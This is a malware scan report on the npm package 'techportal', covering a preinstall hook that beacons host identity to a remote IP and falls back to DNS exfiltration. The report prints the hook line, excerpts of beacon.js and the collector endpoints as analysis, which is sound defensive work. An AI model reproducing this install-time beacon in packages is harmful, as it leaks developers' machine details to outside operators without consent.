techportal@4.0.10: Malicious npm security report (Block)

AI Security Review

scanned 5h ago · by lpm-firewall-ai

Installing the package automatically sends encoded machine identity data to an external callback. Failed HTTP delivery triggers DNS-based fallback transmission.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation, through the preinstall lifecycle hook

Impact

An installer’s host identity, account name, and project path are disclosed to a remote operator.

Mechanism

Host, user, and working-directory collection with HTTP and DNS exfiltration

Rationale

This is a concrete, automatic preinstall data-exfiltration chain. The stated research purpose does not remove the risk to arbitrary dependency-confusion victims. Product guard normalized a non-low false-positive publish_block request to warn-only suspicious.

Evidence

package.jsonbeacon.jsbeacon-config.json

Network endpoints4

45.76.249.245/beacon/-wJPp9SwceA1Ul345SP0XomeLKZnWMp6/techportal/4.0.10av7vjbm1v3hxo0wk0pojcaoc1ebtynwea.oob.asm5.netav7vjbm1v3hxo0wk0pojusf8i7dbe1exo.oob.asm5.netav7vjbm1v3hxo0wk0poje0j4vfk1bnk77.oob.asm5.net

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-15561

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in techportal (npm)

Details

package.json declares a preinstall hook (`node beacon.js`) that fires automatically on `npm install`. beacon.js reads os.hostname(), os.userInfo().username, and process.cwd(), base32-encodes them, and issues an HTTP GET to a hardcoded bare-IP callback URL http://45.76.249.245/beacon/<token>/techportal/4.0.10, carrying the values in X-Bug-Bounty-Host, X-Bug-Bounty-User, and X-Bug-Bounty-Path headers. If the HTTP beacon fails or times out, the same identifiers are packed as base32-encoded DNS subdomain labels and queried (resolve4/resolve6/resolveTxt) against three hardcoded `*.oob.asm5.net` collector domains, providing a DNS-tunneling channel that bypasses HTTP egress controls. Destination is not caller-configurable and there is no install-time opt-in. Self-labeling of the beacon as an authorized bug bounty or dual-use tool does not change the data flow: installer host identity leaves the installer's machine on `npm install` to hardcoded attacker-operated infrastructure.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Suspicious at 98.0% confidence as Malware with medium false-positive risk.

Evidence for block

The manifest runs beacon.js automatically during preinstall.
The hook collects the host name, operating-system user name, and current working directory.
It sends those values as encoded request headers to a configured external callback.
On request failure it transmits the same values through DNS lookups.

Evidence against

No child-process, shell, file-write, environment-variable, or credential-file access exists in the inspected source.
The hook has a bounded timeout and does not load remote code.

Behavioral surface

Source

CryptoNetwork

Supply chain

HighEntropyStrings

Manifest

NoLicense

scanned 2 file(s), 7.49 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

28"scripts": { "preinstall": "node beacon.js" }

High

Ai Review Evidence

The manifest runs beacon.js automatically during preinstall.

package.jsonView on unpkg · L28

beacon.jsView file

191let username = ""; try { username = os.userInfo().username; } catch { username = ""; } let currentPath = ""; try { currentPath = process.cwd(); } catch { currentPath = ""; } const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean); const identityBudget = dnsDomains.length ? Math.min(...dnsDomains.map(identityBudgetForDomain)) : 52; const hostnameFragment = encodeIdentityFragment(os.hostname(), identityBudget); const usernameFragment = encodeIdentityFragment(username, identityBudget); const

High

Ai Review Evidence

The hook collects the host name, operating-system user name, and current working directory.

beacon.jsView on unpkg · L191

220const request = transport.request( target, { method: "GET", headers: { "Cache-Control": "no-store", "User-Agent": userAgent, "X-Bug-Bounty-Event": eventId, "X-Bug-Bounty-Host": hostnameHeader, "X-Bug-Bounty-User": usernameHeader, "X-Bug-Bounty-Path": currentPathHeader, },

High

Ai Review Evidence

It sends those values as encoded request headers to a configured external callback.

beacon.jsView on unpkg · L220

174for (const [method, lookupName] of lookups) { resolver[method](lookupName, () => {}); }

High

Ai Review Evidence

On request failure it transmits the same values through DNS lookups.

beacon.jsView on unpkg · L174

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

28"scripts": { "preinstall": "node beacon.js" }

High

Ai Review Evidence

The manifest runs beacon.js automatically during preinstall.

package.jsonView on unpkg · L28

beacon.jsView file

191let username = ""; try { username = os.userInfo().username; } catch { username = ""; } let currentPath = ""; try { currentPath = process.cwd(); } catch { currentPath = ""; } const dnsDomains = Object.values(configuredDnsDomains()).filter(Boolean); const identityBudget = dnsDomains.length ? Math.min(...dnsDomains.map(identityBudgetForDomain)) : 52; const hostnameFragment = encodeIdentityFragment(os.hostname(), identityBudget); const usernameFragment = encodeIdentityFragment(username, identityBudget); const

High

Findings

5 High1 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencepackage.json

HighAi Review Evidencebeacon.js

MediumNetwork

LowScripts Present

LowHigh Entropy Strings

LowNo License